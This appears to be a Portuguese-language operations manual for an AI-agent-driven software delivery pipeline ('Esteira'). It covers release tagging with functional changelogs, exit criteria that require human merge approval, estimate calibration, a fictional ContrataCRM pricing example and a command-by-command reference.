Escreve .delivery-released.json na workstream — DEPOIS de validar que a tag existe no repo e que o delivery.json carrega a versão. É este marcador que o board lê para mover o lifecycle ao estágio release
10
Confirma para você
Nova versão + o changelog completo — o que você lê antes de anunciar

Anatomia do changelog funcional — a transformação que o passo 6 faz

O dump bruto que entra (passo 5)…
$ git log v0.1.0..HEAD --oneline
a3f9c21 fix: guard null token in refresh flow
8b2e440 refactor: extract auth middleware
c7d1155 fix: refresh crash when token expired
d4a8812 feat: monthly revenue report page
e5f3320 chore: bump version to v0.1.0
f6b2199 fix: chart re-render on filter change
a1c7780 feat: revenue report export to CSV
…e o changelog funcional que sai (passo 6):
• Corrigido: erro ao renovar sessão expirada (três commits técnicos, UM defeito de usuário)
• Novo: relatório de receita mensal com exportação CSV
• Corrigido: gráfico não atualizava ao trocar o filtro
Por que "funcional" e não o dump cru: quem lê a tag é o cliente atualizando da versão anterior — ele precisa saber o que mudou para ele, não quais arquivos tocamos. Três commits técnicos da mesma causa viram UMA linha de defeito resolvido; detalhe de implementação some. E por que tag anotada (-a): a tag anotada é um objeto git próprio que carrega mensagem, autor e data — git show v0.2.0 exibe o changelog completo para sempre, sem precisar de arquivo CHANGELOG.md versionado à parte.

As regras do protocolo

RegraPor quê
Versão no delivery.json SEM prefixo v; tag COM prefixo vConfig é dado (comparável, parseável); tag é marco git (convenção v universal)
Nunca pula o clean checkTag congelaria estado que não passou pelos portões
Changelog funcional, deduplicado — nunca raw dumpO leitor é o cliente, não o dev
Tag é pushed automaticamente após criadaTag local não existe para o time; o push do commit (passo 4) já foi o gate
Template mode bumpa ambos os campos; Delivery Unit mode só versiontemplate.version preservado registra a geração do boilerplate da qual o projeto nasceu
O marcador .delivery-released.json só nasce via tool RecordReleaseA tool valida tag + versão contra o disco antes de gravar — marcador de release não se escreve à mão nem se forja

Critérios de saída do Harden — checklist completo

Uma workstream sai do Harden (e vai para release) quando TODAS estas condições são verdadeiras:

1. 100% dos critérios de aceite de todas as stories passaram com screenshot de evidência
2. Zero achados críticos do pentest em aberto
3. Achados médios têm story criada com dono e prazo
4. Achados de baixa severidade têm decisão documentada (corrigir ou ignorar)
5. O cliente viu o relatório de validação e aprovou (gate humano)
6. Merge humano foi feito (P8 — sempre humano, nunca o agente)
7. Changelog gerado a partir dos commits
8. Versão bumpada e tag criada
Só então /mks-release roda: versão bumpada, commit pushed, tag vX.Y.Z anotada com changelog no remote, e o marcador de release gravado — o board marca a workstream como released.

Erros comuns do Harden — e como a Esteira protege

"O build passou, então está pronto para produção"
Por que está errado: Build passar significa que o código compila e os testes unitários passam. Não significa que o usuário consegue usar o sistema — muito menos que é seguro. É a diferença entre o motor ligar e o carro dirigir bem na estrada.
Como a Esteira protege: Harden é uma fase SEPARADA com portões próprios. Você não pula de Build direto para release.
"O pentest é caro, vamos pular este vez"
Por que está errado: O pentest custa ~US$ 50. Uma vulnerabilidade explorada custa: vazamento de dados (LGPD: multa de 2% do faturamento), downtime, perda de confiança do cliente.
Como a Esteira protege: Critério de saída exige zero críticos. Sem pentest, você não sabe se tem críticos.
"O validador encontrou um bug, vou corrigir no próximo release"
Por que está errado: Critério de aceite é a LEI da story — se falhou, a story não está done. "Corrigir depois" é aceitar entregar algo que não funciona como prometido.
Como a Esteira protege: O board não marca "done" até 100% dos critérios passarem.
"O agente pode fazer o merge quando tudo passar"
Por que está errado: Merge é gesto humano (P8). Código que ninguém leu não vai para produção — mesmo que tenha passado em todos os portões automáticos.
Como a Esteira protege: P8 é aplicada em código — o agente não tem permissão de merge. E o /mks-release exige a árvore limpa, o que na prática força o merge (seu) a já ter acontecido. O agente prepara tudo e PARA.
06 · regras de governança

As regras que mantêm a esteira honesta

Regras (P1–P8) extraídas de falhas reais — cada uma existe porque alguém já pagou o preço de ignorá-la. O detalhe de cada regra está na seção 13; aqui você entende como elas são aplicadas — e por que não dependem de o agente "lembrar".

A regra das regras: aplicadas em código, não em prompt: uma regra escrita num prompt é um pedido educado — o agente pode "esquecer" exatamente quando mais importa (contexto comprimido, turno longo, pressão de prazo). Cada P1–P8 é aplicada por um mecanismo estrutural — plugin de git, precondição de skill, gate do harness — que bloqueia a ação ANTES de acontecer e responde com um erro corretivo. O agente não precisa se comportar; o sistema não deixa ele errar.

As oito regras P1–P8 — com a motivação de cada uma e o mecanismo que aplica — estão detalhadas no capítulo 13. O que é específico do Harden está abaixo.

alto · comercial

Estimativa sem critério de aceite

Escopo elástico: o preço para de ser auditável e o buffer estoura.

alto · prazo

Implementação sem plano técnico

Descoberta cara no meio do código: retrabalho de 20–40% da tarefa.

alto · qualidade

Tarefa concluída sem evidência de ferramenta

Relato sem prova: bugs adormecidos até o cliente encontrar.

médio · operacional

Deploy sem validar artefatos no destino

'Pronto local' vendido como pronto: usuário testa versão antiga.

médio · comercial

Estimativa nunca calibrada

Desvio sistemático invisível: preço errado se repete a cada entrega.

baixo · rastreabilidade

Commits não atômicos

Mistura de tarefas no histórico dificulta reverter e auditar.

A Esteira como runtime — o board que gateia por si

Além das regras aplicadas ao agente, o MOTOR tem gate própria: a dashboard não é um visor passivo, ela segura a fase até haver aceite humano registrado (e há um protocolo para concluir e para desconfiar de si mesma).

MecanismoComo funciona (código)O que você vê
Gates de faseCada workstream carrega um phase-gates.json com o modo e os aceites: { mode: 'guided'|'auto', accepted: { blueprint: iso, ... } }. Em guided (padrão), a fase completa só libera a próxima quando o aceite é registrado com timestamp — via tool AdvancePhase das skills. Em auto, os gates não seguram nada (é o modo do /mks-darkfactory)A sugestão de próximo passo do board respeita o gate: sem aceite, nada de pular etapa
Conclusão manualO marcador .delivery-done.json na workstream (ou movê-la para completed/) força o lifecycle a done. Sem isto, a entrega só concluía quando TODAS as stories tinham custo medido — o que quase nunca fecha sozinho. Reabrir derruba ambos os marcadores: o done e o .delivery-released.json do release (a entrega voltou a trabalhar; o release anterior deixou de ser o estado atual)Os botões "Concluir entrega" e "Reabrir" da dashboard gravam/removem o marcador
Contradiction guardSe o parser diz "ainda em esboço" mas existe um build-plan REAL no disco, o board não sugere refazer exploração — faz uma varredura crua e independente e suprime a sugestão em vez de mostrar algo possivelmente errado ("se não é pra evoluir, não mostra")O board fica calado em vez de te mandar pra trás quando o estado real está adiante
Parser toleranteStories em qualquer forma canônica ou degenrada pelo modelo (story-NNNN-*.md plano, diretoro story-NNNN/ com NNNN.md, prefixo trilha-N) são detectadas e deduplicadas; workstream com arquivo ilegível é PULADA sem derrubar a dashboardO board mostra o que existe — não some story por causa de formato, nem a tela inteira por causa de um arquivo torto
Por que gates no motor E regras no agente: as regras da fase (/mode) mudam o que o AGENTE pode fazer; os gates do motor mudam o que o FLUXO permite avançar. Um agente obediente ainda poderia pular etapas se o board sugerisse — o gate garante que a sugestão mesma respeita a sequência. Defesa em duas camadas: comportamento e fluxo.
Por que esse desenho importa mais com agentes do que com pessoas: um dev sênior relê a regra e se corrige; um agente sob contexto comprimido esquece o parágrafo 40 do prompt e segue confiante — a falha não é maldade, é amnésia estrutural. Por isso a Esteira não pede bom comportamento: ela REMOVE a possibilidade do erro.
07 · calibração

A esteira aprende: calibração da estimativa

Cada entrega concluída alimenta a calibração: UEs estimadas vs esforço real medido. Desvios sistemáticos corrigem a âncora — por repositório, com o ajuste registrado, nunca silencioso. É o que faz a Fase 0 do próximo projeto nascer melhor que a do anterior.

O ledger — onde a verdade vive

Anatomia de uma entrada do calibration.json:
{ "story": "20260920-system-contrata/track-1-fundacao/story-0001",
  "repo": "backend",
  "factors": { "size": "Medium", "complexity": "High", ... },   ← os 6 fatores classificados
  "scope":  { "acceptanceCriteria": 6, "repos": 1, "sections": 5 },  ← counts (fonte da verdade do DU)
  "estimatedDU": 53,                                             ← DU calculado na estimativa
  "actual": null,                                                ← custo MEDIDO (o meter preenche)
  "footprint": ... }                                             ← diff real entregue (segundo sinal)

O loop — como estimado encontra real

Estimar: fatores + DU gravados→ Executar: /mks-story <id> aponta a story + build→ Medir: /mks-meter record grava actual→ Fator por repo: média actual/estimated→ Âncora ajustada corrige a próxima estimativa

O /mks-calibration lê o ledger e resume por repositório. A mecânica é determinística: o fator de um repo é a média de actual / estimatedDU das stories que já têm custo real; a âncora ajustada é a âncora base multiplicada por esse fator. Estimativas seguintes daquele repo já nascem corrigidas — cada repo aprende separado, porque um backend legado e um frontend novo erram de formas diferentes.

Os quatro vereditos — o que o relatório diz

VereditoQuando (código)O que significaAção
coldfator > 1,05Estimativas frias: o trabalho custou mais que o estimadoÂncora ajustada SOBE. Investigue o padrão: fator errado? escopo mal contado?
hotfator < 0,95Estimativas quentes: custou menos que o estimadoÂncora ajustada DESCE — você está cobrando caro demais e perdendo proposta por preço
calibrated0,95 ≤ fator ≤ 1,05Dentro da faixa de 5%: estimativa e realidade batemNada — é o estado que a Esteira persegue
no-datazero actualsNenhuma story daquele repo foi medida aindaFator neutro (1,0) — rode o ciclo estimar→medir pelo menos uma vez

O segundo sinal — footprint do diff

Custo sozinho mente: retrabalho e volta-atrás parecem esforço legítimo. Por isso o build grava também o footprint — o diff objetivo entregue (arquivos tocados, linhas +/−) por story no ledger. São dois sinais medidos que se confrontam: pagou 53 DU para entregar quantas linhas? A relação custo/footprint por repo, ao longo do tempo, expõe onde o trabalho escoa sem produzir entrega.

Por que a dashboard não cai com ledger torto: o calibration.json é editado por agente — e às vezes sai malformado. O loader degrada de propósito: JSON inválido vira ledger vazio + aviso no console, e a dashboard continua de pé (só a estimativa some, não a tela). Um arquivo ruim não derruba a visão do todo.
Por que o record tem um gate de multi-stack: story taggeada com dois layers (api, web) só fecha se o histórico da sessão mostra arquivos tocados em CADA layer — sem o gate, um layer é pulado em silêncio e a dashboard nunca acusa o faltante. Fechar medição de story multi-layer pela metade é exatamente o tipo de erro que não gera alarme depois.
Como operar o ciclo no dia a dia: (1) /mks-story <id> antes de começar o build — aponta a story ativa; (2) /mks-meter record ao concluir — grava o custo real como actual; (3) /mks-calibration a cada marco — lê os vereditas por repo e o efeito na âncora. Sem o passo 1, o custo vira órfão e o loop não fecha.
Resultado do exemplo: No ContrataCRM (capítulo 08), o desvio final foi de +4,5% — dentro da faixa: a estimativa segurou sem estourar o preço.
08 · sistema de exemplo

ContrataCRM — a esteira inteira sobre o saas-starter

O ContrataCRM é o exemplo que ancora este manual: um sistema fictício de gestão de contratos B2B para uma pequena consultoria, construído sobre o boilerplate saas-starter. Aqui você vê o método inteiro funcionando — a Fase 0 com classificação de verdade, o preço nascendo da fórmula, a execução fase a fase e a calibração fechando o ciclo com desvio de +4,5%.

O ponto de partida — o que o boilerplate já entrega

Toda estimativa parte do que JÁ existe. O saas-starter é um monorepo NestJS + React de produção — e é por isso que o Marco 1 tem incerteza Low: a fundação técnica não é promessa, é fato verificado no disco.

Já vem de fábrica (NÃO se estima nem se constrói)É o domínio (estimado em UE e construído)
Monorepo backend/ + frontend/ + Docker Compose (PostgreSQL 16 + Redis 7)Cadastro de clientes PJ com CNPJ (validação + busca externa)
Auth JWT com rotação (acesso 15 min + refresh 7 dias em cookie httpOnly)Ciclo de vida do contrato (rascunho → ativo → encerrado)
Multi-organização (módulo organizations completo) + rate limiting de fábrica (@nestjs/throttler)Painel de receita recorrente prevista vs. realizada
Swagger em /api/docs · e2e em SQLite (auth e users e2e-spec como padrão canônico) · bcrypt + class-validatorExportação CSV, alertas de renovação
Por que isso importa no preço: auth, tenant e infra são as partes mais caras de qualquer sistema — e aqui elas custam ZERO UE. Quem estima "o sistema inteiro" sem olhar o que o boilerplate já resolve cobra (e paga) duas vezes a mesma fundação. A Esteira parte do disco, não do zero.

A Fase 0 do ContrataCRM — a classificação de verdade

O contexto da intenção

Fator de contextoNívelJustificativa (como foi classificado)
ResponsibilityR2 × 1,20Controla cobrança recorrente do cliente — um defeito aqui é dinheiro perdido, mas com rastreio e conciliação possíveis (não é R4: não guarda dado de vida/saúde nem bloqueio legal imediato)
GovernanceMedium × 1,10Contratos exigem trilha de auditoria de alterações (quem mudou o quê e quando) — mais que um site institucional, menos que um domínio regulado

Os marcos com incerteza JUSTIFICADA

MarcoIncertezaPor quêEntregáveis (amostra)UE
1 · FundaçãoLowSobe sobre auth/tenant/infra do boilerplate — estrutura real verificada, território conhecido0001 — Cadastro de clientes PJ (CRUD completo)28
0002 — Validação de CNPJ + busca externa36
2 · ContratosMediumIntegração com gateway de pagamento nunca feita nesta base — e é onde o dinheiro circula0003 — Ciclo de vida do contrato (rascunho→ativo→encerrado)44
0004 — Painel de receita prevista vs. realizada32
3 · RelatóriosLowLeitura e exportação sobre dados já estruturados — sem nova integração…demais tarefas do domínio (agrupadas)16
Total do domínio: 156 UE. A conta até o preço, linha a linha: 156 UE × (1 + buffer 10%) × R$ 130/UE × (1 + margem 20%) = R$ 26.770. Cada número tem pai: as UE vêm dos fatores de cada entregável, o rate e a margem são rate-card, o buffer está à mostra. É esta tabela que o cliente aprova no gate da Fase 0.
O spike do Marco 2 — incerteza tratada como incerteza: antes de estimar o ciclo de vida de cobrança a fundo, o método pede um spike: ~14 UE (âncora × 0,5) de prova de conceito da integração com o gateway, entregável = conhecimento. Se a integração se prova inviável, o projeto redireciona ANTES de queimar as UE do entregável cheio — incerteza alta se resolve com spike, não com número inflado.

O que a Esteira fez com o número aprovado

/mks-blueprint contrata → workstream com 3 tracks→ /mks-breakdown all → 11 stories + critérios + DU→ /mks-architecture → ADRs: TypeORM, JWT rotation, multi-tenant→ build+review por story→ validate + pentest no Marco 2 + release 1.0.0

Cada etapa deixou seu artefato no workspace: o overview.md que o cliente aprovou, os ADRs numerados que TODOS os build-plans herdaram (decisão de persistência e auth tomada UMA vez), 11 build-plans com checklist, branches workstream/contrata/story-NNNN por repo, relatórios de validação com screenshot por critério, e o pentest concentrado no Marco 2 — onde o dinheiro circula, é lá que a auditoria ofensiva paga mais. O walkthrough passo a passo desta execução está na seção 11.

O resultado medido — a calibração nasce

156 UE
estimadas na Fase 0
163 UE
custo real medido pelo meter
+4,5%
desvio — veredito: calibrated

Cada story concluída gravou seu actual (consumo medido em DU) no ledger. A soma deu 163 contra 156 estimadas: +4,5% — dentro da faixa de 5% que o motor chama de calibrated. A âncora não precisou de ajuste, e a próxima estimativa desta dupla de repos nasce com o fator real por trás. Zero push sem gate, zero commit na main, 100% dos critérios com evidência — e uma tag v1.0.0 cujo git show exibe o changelog funcional até hoje.

A lição do exemplo: o valor da Esteira não é "acertar 156 em 156" — é saber QUANTO errou, POR QUE e com qual padrão. Desvio medido é dado; desvio sentido é opinião. No ContrataCRM, os +4,5% disseram que a classificação dos fatores estava calibrada — e é esse veredito, não o feeling, que autoriza a confiar na próxima Fase 0.
BASE

Marcos 1–3

156 UE · R$ 26.770 — sistema operacional com validação e pentest

CRESCIMENTO

Integrações

E-mail, assinatura digital, ERP — novas entregas, nova Fase 0 para cada

FUTURO

Multi-produto

Mesmo tenant, produtos novos: a calibração acumulada firma cada estimativa

09 · simulador de custo

Simule o custo do seu sistema

A mesma fórmula da Fase 0, exposta: arraste os parâmetros e veja o preço. Os valores iniciais reproduzem o caso-base do ContrataCRM.

Preço = UE × (1 + buffer) × R$/UE × (1 + margem)

Total de UEs estimadas156 UE
Preço por UE130 R$
Buffer de incerteza10%
Margem20%
Custo com buffer—
Preço final (com margem)—
Tarefas de 28 UE equivalentes—
10 · guia de comandos

Como operar a Esteira — comando por comando

Este é o manual de operação: qual comando rodar, quando, e o que esperar. Primeiro o mapa operacional com o porquê de cada comando; depois a referência comando-por-comando, agrupada por fase.

Antes de começar: A Esteira vive no terminal do MakeStudio. Todos os comandos são digitados no chat precedidos de /. O agente entende o comando, executa as ferramentas necessárias e reporta o resultado. Você aprova, ajusta ou rejeita — o controle é sempre seu.

Como a Esteira funciona — a jornada de operação completa

Este é o mapa operacional: seis estações, cada uma com o que acontece, os comandos e o gate que libera a próxima. Nenhuma fase termina "no feeling" — cada gate é verificável no board ou no disco. As seções 02–05 trazem o treinamento completo de cada fase; a referência comando-por-comando vem logo depois do mapa.

FASE 0Custear antes de construir
Antes de qualquer linha de código: o problema é explorado em discussão estruturada (com leitura de código de verdade), decomposto em marcos e entregáveis, cada entregável classificado pelos 6 fatores — e o preço nasce da fórmula, não do chute. O resultado é um documento auditável: cada UE traça a um entregável com critérios.
  • /mks-init— configure a Esteira no projeto Por quê PRIMEIRO: é ele que cria delivery/, o delivery.json (moeda UE, repos, regras de fase) e estabelece os dois mundos — workspace (processo) + delivery/repos/ (código, via clone ou symlink). Rodou numa pasta que já é repo de código? Ele RECUSA e orienta. Sem ele, todo comando seguinte aborta — o blueprint para com "rode /mks-init primeiro" em vez de improvisar.
  • /mks-onboard— entenda um projeto existente Por quê (projetos com código): alimenta o contexto da Esteira com a stack real — a interview passa a perguntar só o que o código não responde.
  • /mks-explore— explore o problema em discussão estruturada Por quê ANTES de custear: você sabe o que QUER, não o TAMANHO. O explore resolve problema/escopo/abordagem e grava brainstorm.md — o blueprint lê esse arquivo e não re-pergunta o que já foi resolvido.
  • /mks-interview— estruture o escopo em marcos e entregáveis Por quê: transforma o explorado em marcos + entregáveis classificados pelos 6 fatores — a matéria-prima da fórmula. Sem classificação não há DU, só chute.
  • /mks-quote— gere o preço auditável (UE × rate × buffer × margem) Por quê DEPOIS: número só existe quando existe escopo classificado para multiplicar. Rodar quote antes da interview é pedir preço de nada.
✓ Gate: o cliente aprova o número — e a aprovação fica registrada. Sem ela, nada entra na Esteira.
↓
GATECliente aprova o número
Este é o contrato de escopo do projeto: o que foi aprovado é o que será construído, validado e cobrado. Mudança de escopo depois daqui = nova Fase 0 para o delta, com preço próprio.
↓
FASE 1Plan — do número ao plano auditável
O número aprovado vira estrutura: a workstream nasce com overview, cada track é quebrada em stories com critérios de aceite verificáveis por comando ou script e DU pelos 6 fatores, e só ENTÃO o Arquiteto decide a fundação — contra o escopo completo, não parcial. Aqui não se escreve código — o modo plan bloqueia Write/Edit no harness.
  • /mks-blueprint— crie a workstream com overview e tracks Por quê PRIMEIRO: é o único que CRIA a workstream no disco — overview.md, tracks, presentation.html, estimate.md com DU ainda _TBD_. Ele entrevista, valida o escopo num gate clicável e PARA: DU não nasce aqui (nasce no breakdown). Sem workstream, o breakdown não tem onde escrever.
  • /mks-breakdown— detalhe tracks em stories com critérios Por quê SEGUNDO: transforma cada track em stories com critérios de aceite + DU real (6 fatores, gravados no calibration.json). É aqui que nasce o critério que o validate vai testar na Fase 3 — sem breakdown, o board não mostra NENHUMA story e o fluxo não anda.
  • /mks-architecture— defina a fundação técnica Por quê DEPOIS do breakdown (e não antes): a skill PARA se o breakdown estiver incompleto — arquitetura se decide contra o escopo COMPLETO. O architecture.md produzido é a base que TODOS os techplans referenciam: decisão única, em vez de cada story re-discutir stack.
  • /mks-board— veja o pipeline e o que vem a seguir Por que NÃO serve para começar: o board LÊ o estado do disco — ele nunca cria nada. Rodá-lo antes do blueprint mostra vazio. É o painel de conferência (tracks documentadas, critérios, presentation) e quem arquiva a workstream no fim (/mks-board complete|archive).
✓ Gate: toda story tem critérios testáveis e DU estimada — no board, nenhuma track fica em estado TBD.
↓
FASE 2Build — implementação com revisão (para cada story)
Ciclo por story: o techplan mapeia arquivos e ordem ANTES do código; o build implementa em branch própria seguindo o checklist; o harness confere cada edit no disco, roda as specs irmãs e bloqueia "done" sem build verde. A revisão de 4 lentes (segurança, performance, qualidade de código, padrões do projeto) fecha o ciclo — com auto-fix dos graves.
  • /mode build— troque para modo build Por quê: muda as REGRAS que o agente segue (lê build.md) — Write/Edit liberados SOB plano técnico. Sem a troca, o agente continua nas regras do plan: edição bloqueada.
  • /mks-techplan— plano técnico da story (build-plan) Por quê ANTES do build: é precondição DURA — o build sem build-plan ABORTA em vez de improvisar da spec funcional. O plano é intenção (≤80 linhas, shapes por nome, zero código colado) encaixado na arquitetura já decidida.
  • /mks-build— implemente seguindo o plano Por quê separado do techplan: um escreve intenção, outro executa. O build cria branch workstream/<ws>/<story>, usa o checklist do plano como estado durável (retoma pós-compactação sem re-descobrir) e grava o custo REAL no calibration.
  • /mks-review— revisão com 4 agentes paralelos Por quê ANTES do validate: o review lê o CÓDIGO (4 lentes: segurança, performance, qualidade, padrões do projeto) com AUTO-FIX: Critical e High são corrigidos e commitados na hora — o validate recebe código já saneado.
  • /mks-meter— meça tokens/custo/tempo da story Por quê AQUI: mede o custo REAL da story que ACABOU de sair — é o número que fecha o loop estimado vs. real na calibração. Antes de começar o build, aponte a story ativa com /mks-story <id>; sem o pino, o custo medido fica órfão. Medir semanas depois é perder a trajetória.
  • Repita até a track terminar →
✓ Gate: review sem findings críticos e testes verdes — a story sai de "em curso" para "revisão" no board.
↓
FASE 3Harden — validação e segurança
A mentalidade inverte: de construir para destruir. O validate executa cada critério de aceite num browser real — duas tools, fix loop de até 3 tentativas, screenshot como evidência, [x] só quando todas as primárias passam. O pentest tenta invadir (white-box com Shannon). O release versiona: bump, changelog funcional, tag anotada, push.
  • /mode harden— troque para modo harden Por quê: inverte a mentalidade — as regras passam a ser de verificação, não de criação. Construir e quebrar na mesma regra produz as duas malfeitas.
  • /mks-validate— teste critérios de aceite com browser Por que o review NÃO basta: o review lê código; o validate USA o sistema — browser real, critério a critério, screenshot como prova. Só ele pode virar [x] no critério.
  • /mks-pentest— auditoria ofensiva (OWASP, injection) Por quê DEPOIS do validate: alvo certo é sistema FUNCIONAL. O pentest ataca o que nenhum critério de aceite cobre — vetores maliciosos, não fluxos de usuário.
  • /mks-release— bump versão + git tag com changelog Por quê POR ÚLTIMO: versiona o que passou por TODOS os portões. Exige árvore limpa — na prática força o merge humano (P8) a já ter acontecido antes da tag nascer.
✓ Gate: 100% dos critérios [x] com evidência · zero críticos do pentest · merge humano feito (P8) — só então a tag v<version> nasce com changelog funcional.
↓
CONTÍNUACalibração — a Esteira aprende
Toda story concluída registra UE estimadas vs. esforço real medido. O relatório de calibração detecta desvio sistemático por repositório e ajusta a âncora — com o ajuste registrado, nunca silencioso. É o loop que fecha o ciclo: os dados desta execução alimentam a próxima Fase 0.
  • /mks-calibration— compare estimado vs real, ajuste a âncora
  • A próxima estimativa é melhor que a anterior

Comando por comando — a referência de operação

Cada comando abaixo tem quatro campos: Quando rodar (o gatilho), O que faz (o mecanismo), Como usar (a sintaxe exata) e O que esperar (o resultado verificável no disco ou no board) — mais o Por que este comando: a dependência que justifica ele existir separado e nesta posição. Os módulos com portões próprios — Plan, Build, Harden — têm treinamento completo nas seções 03–05.

FASE 0Custear — do problema ao preço aprovado

/mks-init

Primeira vez que abre um projeto no MakeStudio
Configura a infraestrutura da Esteira: cria a pasta delivery/, o arquivo delivery.json com parâmetros de estimativa (âncora 28 UE, ratePerDU R$ 130, buffer 10%, margem 20%), as regras de fase (plan.md, build.md, harden.md), e registra os repositórios que a Esteira vai gerenciar.
Por que este comando é o primeiro da vida de um projeto: ele cria o CONTRATO que todo o resto lê — a moeda (UE e seus pesos), os repos gerenciados e as regras de cada fase. É também onde os dois mundos se estabelecem: se a pasta já é um repo de código (pom.xml, package.json…), ele RECUSA e orienta — workspace novo, projeto registrado depois (git URL → clone, ou path local → symlink). O estado híbrido (Esteira dentro do repo de código) não existe como opção: é o que faz o Build escrever source no lugar errado. Nenhum outro comando inicializa no lugar dele (o blueprint aborta se o delivery.json falta) — nunca há duas inicializações divergentes.
/mks-init
Você responde perguntas sobre o projeto (nome, repos, linguagem). Ao final, delivery/ existe com todos os arquivos. git status mostra os novos.

/mks-onboard

Projeto já tem código mas a Esteira não conhece
O agente lê o código existente, entende a estrutura (frameworks, dependências, padrões), e gera um resumo que a Esteira usa como contexto para estimativas e build-plans.
Por que este comando: a qualidade das perguntas seguintes depende do que a Esteira JÁ sabe. Sem onboard, a interview pergunta o que o código responde; com ele, pergunta só o que importa — e os build-plans herdam as convenções reais em vez de inventá-las.
/mks-onboard [foco extra — ex.: um subsistema pra olhar primeiro]
Resumo estruturado do projeto com stack detectada, convenções e pontos de atenção.

/mks-explore

ANTES da Fase 0 — você tem uma ideia mas não sabe o tamanho
Discussão estruturada com o Consultor: o agente faz perguntas sobre o problema, entende o escopo, identifica riscos e incertezas. Não cria nada — é conversa pura com exploração de código, que termina gravando as conclusões em brainstorm.md dentro da workstream.
Por que este comando existe: custear um problema mal entendido é chutar com casas decimais. O explore resolve "qual problema, quais bordas, o que já foi considerado" ANTES de qualquer número — e o brainstorm.md vira insumo direto do blueprint, que não re-pergunta o que aqui já foi respondido. Sem ele, a interview gasta suas rodadas redescobrindo o óbvio.
/mks-explore <problema ou ideia de workstream>
Conversa com perguntas e respostas. O agente DEVE usar tools (Read, Grep, Glob) para explorar o código — se ele só conversar sem explorar, o harness o obriga a voltar. Ao final: brainstorm.md com conclusões, bordas de escopo e questões abertas.

/mks-interview

Após explorar — você sabe o que quer, precisa decompor
Entrevista guiada que preenche a tabela de contexto (Responsibility, Governance), define marcos com nível de incerteza JUSTIFICADO, e lista entregáveis classificados por Size/Complexity/Urgency — os fatores que multiplicam a fórmula do DU.
Por que este comando: a fórmula não aceita "mais ou menos" — ela multiplica fatores CLASSIFICADOS. A interview é onde a classificação acontece com você na mesa (níveis com justificativa, incerteza alta virando spike em vez de número inflado). Sem ela, não existe matéria-prima: quote não tem o que multiplicar.
/mks-interview [<workstream>]   (diretório ou slug; sem ele, usa a ativa)
Documento de escopo com marcos, entregáveis classificados por Size/Complexity/Urgency, e UE por entregável.

/mks-quote

Após a interview — o escopo está pronto, falta o número
Soma o DU de TODAS as workstreams ativas e calcula: UE × ratePerDU × (1 + buffer) × (1 + margem). A saída é a proposta auditável: por workstream, por track (T1 Fundação 28 DU…), com subtotal e total — e marca (parcial) quando uma workstream ainda tem DU _TBD_ (o preço ali é piso, não fechado).
Por que DEPOIS da interview: o quote é uma multiplicação — o trabalho difícil é a classificação que ele multiplica. Rodá-lo antes é pedir preço de escopo inexistente. É o documento do GATE: sem ele aprovado, a Esteira não abre.
/mks-quote
Preço final em R$ com tabela mostrando a origem de cada número. O cliente vê exatamente por que custa o que custa.
FASE 1Plan — do preço à estrutura executável

/mks-blueprint

O cliente aprovou o número — a execução começa
O único comando que CRIA a workstream no disco. Entra em plan mode, consulta o knowledge store (delivery/context/), lê o brainstorm.md de um /mks-explore anterior (não re-pergunta o que já foi resolvido), analisa os repos, pesquisa benchmarks, entrevista em múltiplas rodadas, valida o escopo via ExitPlanMode + um gate clicável de confirmação — e só então escreve: overview.md (linguagem de cliente, com métricas de sucesso e tracks MVP), presentation.html (copiado do template, nunca re-digitação) e estimate.md com todos os DU como _TBD_.
Por que este comando: ele é o endereço de tudo que vem depois — breakdown, arquitetura e board LÊEM o que ele escreve. Sem workstream, o breakdown não tem onde gravar stories. E se o delivery.json não existe, ele aborta na hora ("rode /mks-init primeiro") em vez de inicializar sozinho — cada comando tem um trabalho só.
/mks-blueprint <nome-do-sistema>
Pasta active/<data>-system|feature-<slug>/ com overview.md, presentation.html e estimate.md (DU _TBD_ — o número real nasce no breakdown, aqui é proibido preview de DU).

/mks-breakdown

Fase 1, com o overview pronto — ANTES da arquitetura
Quebra cada track em stories detalhadas: spec funcional + critérios de aceite verificáveis por comando/script + classificação pelos 6 fatores (Size e Complexity auto; R/G/U/Urgency confirmados com você, com tabela e WAIT) + DU calculado pelo motor e gravado no calibration.json. É aqui que o DU deixa de ser _TBD_ e vira número defensável.
Por que este comando: o critério de aceite que nasce aqui é a LEI da story — é o que o validate testa na Fase 3 e o que conta no DU (perAcceptanceCriterion). Critério vago aqui = validação cega lá. Por que antes da arquitetura: o arquiteto exige o escopo completo para decidir a fundação.
/mks-breakdown <workstream> [all | track-N]
Stories completas com critérios, DU, dependências — e o board passa a enxergar cada story (antes eram só tracks).

/mks-architecture

Fase 1, com o breakdown COMPLETO — antes do primeiro techplan
O Arquiteto decide a fundação do SISTEMA (não da story): stack & frameworks, limites de módulo, persistência, integrações, cross-cutting (auth, log, erro) — cada decisão como ADR numerado (Contexto · Opções · Escolha · Trade-offs). Produz exatamente UM artefato: architecture.md na raiz da workstream. Hard precondition: se o breakdown está incompleto, a skill PARA. Guardrail absoluto: nunca implementa código nem roda build.
Por que DEPOIS do breakdown: decidir arquitetura contra escopo parcial é decidir duas vezes — a story que chegar depois invalida a decisão. Por que antes do techplan: cada build-plan herda a base daqui (decisão ÚNICA de stack/limites); sem isso, cada story re-litiga a fundação sozinha e o sistema vira um frankenstein de decisões locais.
/mks-architecture <workstream>
architecture.md com visão estrutural, ADRs numerados, riscos estruturais e rodapé de auditoria (Role/Skill/Date/Status). O próximo passo apontado: /mks-techplan.

/mks-board

Qualquer momento — é o painel de controle
Dois modos. Status (sem argumentos): varre active/, completed/ e archived/ e monta a tabela — workstream, brainstorm existe?, tracks documentadas, tasks, presentation. Move (complete/archive <workstream>): move o diretório inteiro de status, limpa worktrees órfãs de delivery/repos/.worktrees/ e sincroniza o card no kanban (se configurado).
Por que o board NÃO começa nada: ele LÊ o disco — overview, stories, critérios — e reporta. Criar é papel do blueprint/breakdown. Você o usa para CONFERIR estado e decidir o próximo passo, e para arquivar no fim. Board vazio não é bug do board — é workstream inexistente.
/mks-board   (status)
/mks-board complete <workstream>
/mks-board archive <workstream>
/delivery ou /board   (dashboard nativa — Esteira visual com gates de fase)
Tabela de status concisa (é um check rápido, não um review) ou o diretório movido + worktrees limpas + kanban avisado.

/mks-ticket

Bug fix ou atividade pontual — trabalho de UMA story, sem cerimônia de sistema novo
O fluxo leve de verdade: analisa a descrição livre (bug ou atividade?), classifica o tipo, entrevista só o que falta e cria uma workstream mínima — YYYYMMDD-bug-<slug>/ ou -activity-<slug>/ — com UMA story (track-1-fix/ ou track-1-implementation/), critérios de aceite, estimate.md com DU contado e tradução para os idiomas configurados. Pula overview, presentation e brainstorm — não fazem sentido para um ponto.
